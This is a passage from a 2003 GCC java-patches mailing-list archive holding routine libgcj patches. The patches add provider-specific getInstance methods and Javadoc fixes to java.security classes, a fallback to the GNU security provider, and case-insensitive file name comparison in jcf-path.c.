Principal. =20 - @param principal The Principal of the Identity to get - - @returns an identity representing the principal or null if it=20 - cannot be found + @param principal The Principal of the Identity to get. + @return an identity representing the principal or null if it + cannot be found. */ public Identity getIdentity(Principal principal) { @@ -165,18 +160,16 @@ Gets the specified Identity within this scope by the specified public key. =20 - @param key the PublicKey of the Identity to get - - @returns an identity representing the public key or null if it=20 - cannot be found + @param key the PublicKey of the Identity to get. + @return an identity representing the public key or null if it + cannot be found. */ public abstract Identity getIdentity(PublicKey key); =20 /** Adds an identity to his scope. =20 - @param identity the identity to add - + @param identity the identity to add. @throws KeyManagementException if it is an invalid identity, an identity with the same key exists, or another error occurs. @@ -187,8 +180,7 @@ /** Removes an identity to his scope. =20 - @param identity the identity to remove - + @param identity the identity to remove. @throws KeyManagementException if it is a missing identity,=20 or another error occurs. */ @@ -198,7 +190,7 @@ /** Returns an Enumeration of identities. =20 - @returns an enumeration of the identities. + @return an enumeration of the identities. */ public abstract Enumeration identities(); =20 @@ -206,11 +198,10 @@ Returns a string representing this IdentityScope. It includes the name, the scope name, and number of identities. =20 - @returns a string representing this IdentityScope. + @return a string representing this IdentityScope. */ public String toString() { - return (super.getName() + " " + super.getScope().getName() -=09 + " " + size()); + return (super.getName() + " " + super.getScope().getName() + " " + s= ize()); } } From java-patches-return-6347-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:16:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18448 invoked by alias); 2 Mar 2003 18:16:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18437 invoked from network); 2 Mar 2003 18:16:01 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 18:16:01 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 615EE18086B for ; Mon, 3 Mar 2003 05:23:56 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.KeyFactory Date: Mon, 3 Mar 2003 05:20:52 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030520.52605.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.KeyFactory: formatting + documentation =09(getInstance(String)): use new getInstance(String, Provider). =09(getInstance(String, String)): ditto. =09(getInstance(String, Provider)): new method. cvs -z9 diff -u -wb -B KeyFactory.java (in directory /data/workspace/cvs/= gcc/libjava/java/security/) Index: KeyFactory.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyFactory.java,v retrieving revision 1.2 diff -u -w -b -B -r1.2 KeyFactory.java --- KeyFactory.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ KeyFactory.java=092 Mar 2003 18:12:30 -0000 @@ -52,7 +52,7 @@ DSAPublicKeySpec or X509EncodedKeySpec. The key factory translate these key specifications.=20 =20 - @since JDK 1.2 + @since 1.2 @author Mark Benvenuto */ public class KeyFactory @@ -64,9 +64,9 @@ /** Constructs a new keyFactory with the specified parameters. =20 - @param keyFacSpi Key Factory SPI to use - @param provider the provider of the Key Factory SPI - @param algorithm the name of the key algorithm for this key factory + @param keyFacSpi Key Factory SPI to use. + @param provider the provider of the Key Factory SPI. + @param algorithm the name of the key algorithm for this key factory= =2E */ protected KeyFactory(KeyFactorySpi keyFacSpi, Provider provider, =09=09 String algorithm) @@ -77,14 +77,14 @@ } =20 /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory. If the algorithm is not=20 - found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by providers + Gets an instance of the KeyFactory class representing the specified= key + factory. If the algorithm is not found then, it throws + NoSuchAlgorithmException. + + @param algorithm the name of algorithm to choose. + @return a KeyFactory repesenting the desired algorithm. + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by + providers */ public static KeyFactory getInstance(String algorithm) throws NoSuchAlgorithmException @@ -92,28 +92,27 @@ Provider[] p =3D Security.getProviders(); =20 for (int i =3D 0; i < p.length; i++) + try { -=09String classname =3D p[i].getProperty("KeyFactory." + algorithm); -=09if (classname !=3D null) -=09 return getInstance(classname, algorithm, p[i]); + return getInstance(algorithm, p[i]); } + catch (NoSuchAlgorithmException ignored) {} =20 throw new NoSuchAlgorithmException(algorithm); } =20 /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory from the specified provider.=20 - If the algorithm is not found then, it throws=20 - NoSuchAlgorithmException. If the provider is not found, then=20 + Gets an instance of the KeyFactory class representing the specified= key + factory from the specified provider. If the algorithm is not found = then, + it throws NoSuchAlgorithmException. If the provider is not found, t= hen it throws NoSuchProviderException. =20 - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by the provider - @throws NoSuchProviderException if the provider is not found + @param algorithm the name of algorithm to choose. + @param provider the name of the provider to find the algorithm in. + @return a KeyFactory repesenting the desired algorithm. + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by + the provider. + @throws NoSuchProviderException if the provider is not found. */ public static KeyFactory getInstance(String algorithm, String provider= ) throws NoSuchAlgorithmException, NoSuchProviderException @@ -122,8 +121,53 @@ if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("KeyFactory." + algorithm), -=09=09 algorithm, p); + return getInstance(algorithm, p); + } + + /** + * Generates a KeyFactory object for the specified algorithm from the + * specified provider. Note: the provider doesn't have to= be + * registered. + * + * @param algorithm the name of the requested key algorithm. See Appen= dix A + * in the Java Cryptography Architecture API Specification & Reference= for + * information about standard algorithm names. + * @param provider the provider. + * @return a KeyFactory object for the specified algorithm. + * @throws NoSuchAlgorithmException if the algorithm is not available = from + * the specified provider. + * @throws IllegalArgumentException if the provider is nu= ll. + * @since 1.4 + * @see {@link Provider} + */ + public static KeyFactory getInstance(String algorithm, Provider provid= er) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException(); + + // try the name as is + String className =3D provider.getProperty("KeyFactory." + algorithm)= ; + if (className =3D=3D null) // try all uppercase + { + String upper =3D algorithm.toUpperCase(); + className =3D provider.getProperty("KeyFactory." + upper); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D + provider.getProperty("Alg.Alias.KeyFactory." + algorithm= ); + if (alias =3D=3D null) // try all-uppercase alias name + { + alias =3D provider.getProperty("Alg.Alias.KeyFactory." += upper); + if (alias =3D=3D null) // spit the dummy + throw new NoSuchAlgorithmException(algorithm); + } + className =3D provider.getProperty("KeyFactory." + alias); + if (className =3D=3D null) + throw new NoSuchAlgorithmException(algorithm); + } + } + return getInstance(className, algorithm, provider); } =20 private static KeyFactory getInstance(String classname, @@ -154,7 +198,7 @@ /** Gets the provider that the class is from. =20 - @return the provider of this class + @return the provider of this class. */ public final Provider getProvider() { @@ -164,7 +208,7 @@ /** Returns the name of the algorithm used =20 - @return A string with the name of the algorithm + @return A string with the name of the algorithm. */ public final String getAlgorithm() { @@ -174,12 +218,10 @@ /** Generates a public key from the provided key specification. =20 - @param keySpec key specification - - @return the public key - + @param keySpec key specification. + @return the public key. @throws InvalidKeySpecException invalid key specification for - this key factory to produce a public key + this key factory to produce a public key. */ public final PublicKey generatePublic(KeySpec keySpec) throws InvalidKeySpecException @@ -190,12 +232,10 @@ /** Generates a private key from the provided key specification. =20 - @param keySpec key specification - - @return the private key - + @param keySpec key specification. + @return the private key. @throws InvalidKeySpecException invalid key specification for - this key factory to produce a private key + this key factory to produce a private key. */ public final PrivateKey generatePrivate(KeySpec keySpec) throws InvalidKeySpecException @@ -204,20 +244,15 @@ } =20 /** - Returns a key specification for the given key. keySpec=20 - identifies the specification class to return the key=20 - material in. - - @param key the key - @param keySpec the specification class to return the=20 - key material in. + Returns a key specification for the given key. keySpec identifies t= he + specification class to return the key material in. =20 + @param key the key. + @param keySpec the specification class to return the key material i= n. @return the key specification in an instance of the requested - specification class - + specification class. @throws InvalidKeySpecException the requested key specification - is inappropriate for this key or the key is=20 - unrecognized. + is inappropriate for this key or the key is unrecognized. */ public final KeySpec getKeySpec(Key key, Class keySpec) throws InvalidKeySpecException @@ -226,15 +261,13 @@ } =20 /** - Translates the key from an unknown or untrusted provider - into a key for this key factory. - - @param the key from an unknown or untrusted provider - - @return the translated key + Translates the key from an unknown or untrusted provider into a key= for + this key factory. =20 - @throws InvalidKeySpecException if the key cannot be=20 - processed by this key factory + @param key the key from an unknown or untrusted provider. + @return the translated key. + @throws InvalidKeyException if the key cannot be processed by this = key + factory. */ public final Key translateKey(Key key) throws InvalidKeyException { From java-patches-return-6348-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:20:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19498 invoked by alias); 2 Mar 2003 18:20:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19491 invoked from network); 2 Mar 2003 18:20:48 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 18:20:48 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 84A4217FC57 for ; Mon, 3 Mar 2003 05:28:44 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.KeyPairGenerator Date: Mon, 3 Mar 2003 05:25:41 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030525.41664.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.KeyPairGenerator: formatting. =09(getInstance(String, Provider)): made it public. cvs -z9 diff -u -wb -B KeyPairGenerator.java (in directory /data/workspac= e/cvs/gcc/libjava/java/security/) Index: KeyPairGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyPairGenerator.java,v retrieving revision 1.4 diff -u -w -b -B -r1.4 KeyPairGenerator.java --- KeyPairGenerator.java=0917 Nov 2002 00:10:24 -0000=091.4 +++ KeyPairGenerator.java=092 Mar 2003 18:17:13 -0000 @@ -127,29 +127,51 @@ return getInstance(algorithm, p); } =20 - private static KeyPairGenerator getInstance(String algorithm, Provider= p) + /** + * Generates a KeyPairGenerator object implementing the specified algo= rithm, + * as supplied from the specified provider, if such an algorithm is av= ailable + * from the provider. Note: the provider doesn't have to = be + * registered. + * + * @param algorithm the standard string name of the algorithm. See App= endix A + * in the Java Cryptography Architecture API Specification & Refer= ence + * for information about standard algorithm names. + * @param provider the provider. + * @return the new KeyPairGenerator object. + * @throws NoSuchAlgorithmException if the algorithm is not available = from + * the provider. + * @throws IllegalArgumentException if the provider is null. + * @since 1.4 + * @see Provider + */ + public static KeyPairGenerator getInstance(String algorithm, Provider = provider) throws NoSuchAlgorithmException { + if (provider =3D=3D null) + throw new IllegalArgumentException(); + // try the name as is - String className =3D p.getProperty("KeyPairGenerator." + algorithm); - if (className =3D=3D null) { // try all uppercase + String className =3D provider.getProperty("KeyPairGenerator." + algo= rithm); + if (className =3D=3D null) // try all uppercase + { String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("KeyPairGenerator." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + a= lgorithm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + upper)= ; - if (alias =3D=3D null) { // spit the dummy + className =3D provider.getProperty("KeyPairGenerator." + upper); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D + provider.getProperty("Alg.Alias.KeyPairGenerator." + alg= orithm); + if (alias =3D=3D null) // try all-uppercase alias name + { + alias =3D provider.getProperty("Alg.Alias.KeyPairGenerat= or." + upper); + if (alias =3D=3D null) // spit the dummy throw new NoSuchAlgorithmException(algorithm); } - } - className =3D p.getProperty("KeyPairGenerator." + alias); - if (className =3D=3D null) { + className =3D provider.getProperty("KeyPairGenerator." + ali= as); + if (className =3D=3D null) throw new NoSuchAlgorithmException(algorithm); } } - } - return getInstance(className, algorithm, p); + return getInstance(className, algorithm, provider); } =20 private static KeyPairGenerator getInstance(String classname, From java-patches-return-6349-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:24:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20385 invoked by alias); 2 Mar 2003 18:24:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20378 invoked from network); 2 Mar 2003 18:24:29 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 18:24:29 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 3878E18005B for ; Mon, 3 Mar 2003 05:32:25 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.MessageDigest Date: Mon, 3 Mar 2003 05:29:17 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030529.17253.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.MessageDigest: formatting. =09(getInstance(String, Provider)): made it public. cvs -z9 diff -u -wb -B MessageDigest.java (in directory /data/workspace/c= vs/gcc/libjava/java/security/) Index: MessageDigest.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/MessageDigest.java,v retrieving revision 1.8 diff -u -w -b -B -r1.8 MessageDigest.java --- MessageDigest.java=0917 Nov 2002 00:10:24 -0000=091.8 +++ MessageDigest.java=092 Mar 2003 18:21:26 -0000 @@ -37,6 +37,7 @@ exception statement from your version. */ =20 package java.security; +import java.lang.IllegalArgumentException; =20 public abstract class MessageDigest extends MessageDigestSpi { @@ -110,29 +111,50 @@ return getInstance(algorithm, p); } =20 - private static MessageDigest getInstance(String algorithm, Provider p) + /** + * Generates a MessageDigest object implementing the specified algorit= hm, as + * supplied from the specified provider, if such an algorithm is avail= able + * from the provider. Note: the provider doesn't have to = be + * registered. + * + * @param algorithm the name of the algorithm requested. See Appendix = A in + * the Java Cryptography Architecture API Specification & Referenc= e for + * information about standard algorithm names. + * @param provider the provider. + * @return a Message Digest object implementing the specified algorith= m. + * @throws NoSuchAlgorithmException if the algorithm is not available = in the + * package supplied by the requested provider. + * @throws IllegalArgumentException if the provider is null. + * @since 1.4 + * @see Provider + */ + public static MessageDigest getInstance(String algorithm, Provider pro= vider) throws NoSuchAlgorithmException { + if (provider =3D=3D null) + throw new IllegalArgumentException(); + // try the name as is - String className =3D p.getProperty("MessageDigest." + algorithm); - if (className =3D=3D null) { // try all uppercase + String className =3D provider.getProperty("MessageDigest." + algorit= hm); + if (className =3D=3D null) // try all uppercase + { String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("MessageDigest." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.MessageDigest." +algor= ithm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.MessageDigest." +upper); - if (alias =3D=3D null) { // spit the dummy + className =3D provider.getProperty("MessageDigest." + upper); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D provider.getProperty("Alg.Alias.MessageDige= st." +algorithm); + if (alias =3D=3D null) // try all-uppercase alias name + { + alias =3D provider.getProperty("Alg.Alias.MessageDigest.= " +upper); + if (alias =3D=3D null) // spit the dummy throw new NoSuchAlgorithmException(algorithm); } - } - className =3D p.getProperty("MessageDigest." + alias); - if (className =3D=3D null) { + className =3D provider.getProperty("MessageDigest." + alias)= ; + if (className =3D=3D null) throw new NoSuchAlgorithmException(algorithm); } } - } - return getInstance(className, algorithm, p); + return getInstance(className, algorithm, provider); } =20 private static MessageDigest getInstance(String classname, From java-patches-return-6350-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:26:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20742 invoked by alias); 2 Mar 2003 18:26:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20732 invoked from network); 2 Mar 2003 18:26:12 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 2 Mar 2003 18:26:12 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18pY9c-0002UN-00 for ; Sun, 02 Mar 2003 19:25:40 +0100 Subject: Security provider fallback From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-q52JhKiPOeKjimFGLbxF" Organization: Message-Id: <1046629565.19771.561.camel@elsschot> Mime-Version: 1.0 Date: 02 Mar 2003 19:26:07 +0100 --=-q52JhKiPOeKjimFGLbxF Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following prints a warning when non of the security provider files could be read or non of them contain any valid entries and falls back to the standard Gnu provider. If the security provider files do exist, but just don't contain any provider the user gets what was asked for. This helps in situations where the security file is missing or not correctly installed (which seems to happen often with VMs). It also fixes a couple of Mauve failures that would happen if you did a make check without a make install first (and no old installation was available) like most autobuilders do. Could someone check the warning message (not being a native English speaker): WARNING: could not properly read security provider files: file:///usr/local/gcc34/lib/security/libgcj.security file:///usr/local/gcc34/lib/security/classpath.security Falling back to standard GNU security provider 2003-03-02 Mark Wielaard * java/security/Security.java (secprops): Initialize. (loadProviders): Return boolean. (static): Check result of loadProvider calls. If necessary display WARNING and fallback to Gnu provider. OK for mainline and branch? Cheers, Mark --=-q52JhKiPOeKjimFGLbxF Content-Disposition: inline; filename=Security.patch Content-Type: text/x-patch; name=Security.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/security/Security.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/security/Security.java,v retrieving revision 1.11 diff -u -r1.11 Security.java --- java/security/Security.java 31 Dec 2002 22:50:10 -0000 1.11 +++ java/security/Security.java 2 Mar 2003 18:11:22 -0000 @@ -1,5 +1,5 @@ /* Security.java --- Java base security class implmentation - Copyright (C) 1999, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -56,13 +56,30 @@ public final class Security extends Object { private static Vector providers = new Vector(); - private static Properties secprops; + private static Properties secprops = new Properties(); static { String base = System.getProperty("gnu.classpath.home.url"); - loadProviders(base, System.getProperty("gnu.classpath.vm.shortname")); - loadProviders(base, "classpath"); + String vendor = System.getProperty("gnu.classpath.vm.shortname"); + + // Try VM specific security file + boolean loaded = loadProviders(base, vendor); + + // Append classpath standard provider if possible + if (!loadProviders(base, "classpath") && !loaded && providers.size() == 0) + { + // No providers found and both security files failed to load properly. + System.err.println + ("WARNING: could not properly read security provider files:"); + System.err.println + (" " + base + "/security/" + vendor + ".security"); + System.err.println + (" " + base + "/security/" + "classpath" + ".security"); + System.err.println + (" Falling back to standard GNU security provider"); + providers.addElement(new gnu.java.security.provider.Gnu()); + } } // This class can't be instantiated. @@ -70,17 +87,21 @@ { } - private static void loadProviders(String baseUrl, String vendor) + /** + * Tries to load the vender specific security providers from the given + * base URL. Returns true if the resource could be read and completely + * parsed successfully, false otherwise. + */ + private static boolean loadProviders(String baseUrl, String vendor) { if (baseUrl == null || vendor == null) - return; + return false; + boolean result = true; String secfilestr = baseUrl + "/security/" + vendor + ".security"; - try { InputStream fin = new URL(secfilestr).openStream(); - secprops = new Properties(); secprops.load(fin); int i = 1; @@ -108,19 +129,20 @@ exception = x; } if (exception != null) - System.err.println ("Error loading security provider " + name - + ": " + exception); + { + System.err.println ("WARNING: Error loading security provider " + + name + ": " + exception); + result = false; + } i++; } } - catch (FileNotFoundException ignored) - { - // Actually we probibly shouldn't ignore these, once the security - // properties file is actually installed somewhere. - } catch (IOException ignored) { + result = false; } + + return result; } /** --=-q52JhKiPOeKjimFGLbxF-- From java-patches-return-6351-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:43:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26192 invoked by alias); 2 Mar 2003 18:43:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26185 invoked from network); 2 Mar 2003 18:43:51 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 2 Mar 2003 18:43:51 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYQo-0006WP-00 for ; Sun, 02 Mar 2003 19:43:26 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYQn-0006WF-00 for ; Sun, 02 Mar 2003 19:43:25 +0100 From: Ranjit Mathew Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 Date: Mon, 03 Mar 2003 00:16:12 +0530 Lines: 134 Message-ID: <3E625174.E1C6C5B3@hotmail.com> References: <3E591729.9FEFF8B1@hotmail.com> <87wujislt1.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Tom Tromey wrote: > Ranjit> + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) > Ranjit> + if (len > 4 && (strcasecmp (filename + len - 4, ".zip") == 0 > Ranjit> + || strcasecmp (filename + len - 4, ".jar") == 0)) > Ranjit> + #else > Ranjit> if (len > 4 && (strcmp (filename + len - 4, ".zip") == 0 > Ranjit> || strcmp (filename + len - 4, ".jar") == 0)) > Ranjit> + #endif > > I'd prefer we add a new macro, like COMPARE_FILENAMES, and then define > that as strcmp or strcasecmp. > > Best would be to do this in system.h, though personally I'd settle for > some header in gcc/java/. Ok, how does the following look? Index: ChangeLog from Ranjit Mathew * jcf.h (COMPARE_FILENAMES): New macro similar to "strcmp" to compare file name components depending on the case-sensitivity or otherwise of the host file system. * jcf-path.c (add_entry): Use COMPARE_FILENAMES instead of "strcmp" to compare file name components. Use IS_DIR_SEPARATOR instead of comparing directly against DIR_SEPARATOR. (jcf_path_extdirs_arg): Use IS_DIR_SEPARATOR instead of comparing directly against DIR_SEPARATOR. *** jcf.h Sun Mar 2 21:14:02 2003 --- jcf.h Sun Mar 2 21:27:34 2003 *************** *** 1,5 **** /* Utility macros to read Java(TM) .class files and byte codes. ! Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify --- 1,6 ---- /* Utility macros to read Java(TM) .class files and byte codes. ! Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003 ! Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify *************** The Free Software Foundation is independ *** 72,75 **** --- 73,85 ---- #endif + /* On case-insensitive file systems, file name components must be + compared using "strcasecmp", if available, instead of "strcmp". + Assumes "config.h" has already been included. */ + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) + #define COMPARE_FILENAMES(x, y) strcasecmp ((x), (y)) + #else + #define COMPARE_FILENAMES(x, y) strcmp ((x), (y)) + #endif + struct JCF; typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed)); *** jcf-path.c Mon Jan 27 21:43:44 2003 --- jcf-path.c Sun Mar 2 21:27:54 2003 *************** *** 1,5 **** /* Handle CLASSPATH, -classpath, and path searching. ! Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify --- 1,6 ---- /* Handle CLASSPATH, -classpath, and path searching. ! Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software ! Foundation, Inc. This program is free software; you can redistribute it and/or modify *************** add_entry (entp, filename, is_system) *** 149,154 **** len = strlen (filename); ! if (len > 4 && (strcmp (filename + len - 4, ".zip") == 0 ! || strcmp (filename + len - 4, ".jar") == 0)) { n->flags |= FLAG_ZIP; --- 150,156 ---- len = strlen (filename); ! ! if (len > 4 && (COMPARE_FILENAMES (filename + len - 4, ".zip") == 0 ! || COMPARE_FILENAMES (filename + len - 4, ".jar") == 0)) { n->flags |= FLAG_ZIP; *************** add_entry (entp, filename, is_system) *** 157,161 **** way. Symlinks will fool this test. This is only used for -MM and -MMD, so it probably isn't terribly important. */ ! if (! strcmp (filename, LIBGCJ_ZIP_FILE)) n->flags |= FLAG_SYSTEM; } --- 159,163 ---- way. Symlinks will fool this test. This is only used for -MM and -MMD, so it probably isn't terribly important. */ ! if (! COMPARE_FILENAMES (filename, LIBGCJ_ZIP_FILE)) n->flags |= FLAG_SYSTEM; } *************** add_entry (entp, filename, is_system) *** 164,168 **** This is a little hack that lets the searching code in jcf-io.c work more easily. Eww. */ ! if (filename[len - 1] != '/' && filename[len - 1] != DIR_SEPARATOR) { char *f2 = alloca (len + 2); --- 166,170 ---- This is a little hack that lets the searching code in jcf-io.c work more easily. Eww. */ ! if (! IS_DIR_SEPARATOR (filename[len - 1])) { char *f2 = alloca (len + 2); *************** jcf_path_extdirs_arg (cp) *** 379,383 **** + strlen (direntp->d_name) + 2); strcpy (name, buf); ! if (name[dirname_length-1] != DIR_SEPARATOR) { name[dirname_length] = DIR_SEPARATOR; --- 381,385 ---- + strlen (direntp->d_name) + 2); strcpy (name, buf); ! if (! IS_DIR_SEPARATOR (name[dirname_length-1])) { name[dirname_length] = DIR_SEPARATOR; From java-patches-return-6352-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:46:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26715 invoked by alias); 2 Mar 2003 18:46:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26703 invoked from network); 2 Mar 2003 18:46:23 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 18:46:23 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 4723F1808DA for ; Mon, 3 Mar 2003 05:53:05 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.Policy and java.security.ProtectionDomain Date: Mon, 3 Mar 2003 05:50:02 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030550.02496.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.Policy: formatting. =09(pd2pc): new 